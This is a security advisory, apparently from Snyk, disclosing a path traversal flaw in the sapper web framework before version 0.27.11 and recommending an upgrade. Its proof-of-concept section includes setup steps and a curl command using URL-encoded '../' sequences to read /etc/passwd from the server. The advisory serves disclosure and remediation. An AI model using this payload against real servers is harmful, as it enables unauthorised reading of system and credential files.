Path Traversal Affecting sapper package, versions <0.27.11
Threat Intelligence
Exploit Maturity
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-SAPPER-572858
- published 19 Jun 2020
- disclosed 18 Jun 2020
- credit anvikha
How to fix?
Upgrade sapper to version 0.27.11 or higher.
Overview
sapper is a framework for building high-performance universal web apps.
Affected versions of this package are vulnerable to Path Traversal. It allows an attacker to simply obain arbitrary files from the remote server, exploiting a simple path traversal using URL-encoded "../".
PoC by anvikha:
- Clone https://github.com/sveltejs/sapper-template project
npm i- Use degit to obtain the webpack example app:
npx degit "sveltejs/sapper-template#webpack" my-app npx sapper dev - exploit with curl -vv http://localhost:3000/client/750af05c3a69ddc6073a/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwdThis also works in prod mode withnpx sapper build && node __sapper__build - exploit with curl -vvv http://localhost:3000/client/750af05c3a69ddc6073a/
References
CVSS Scores
version 3.1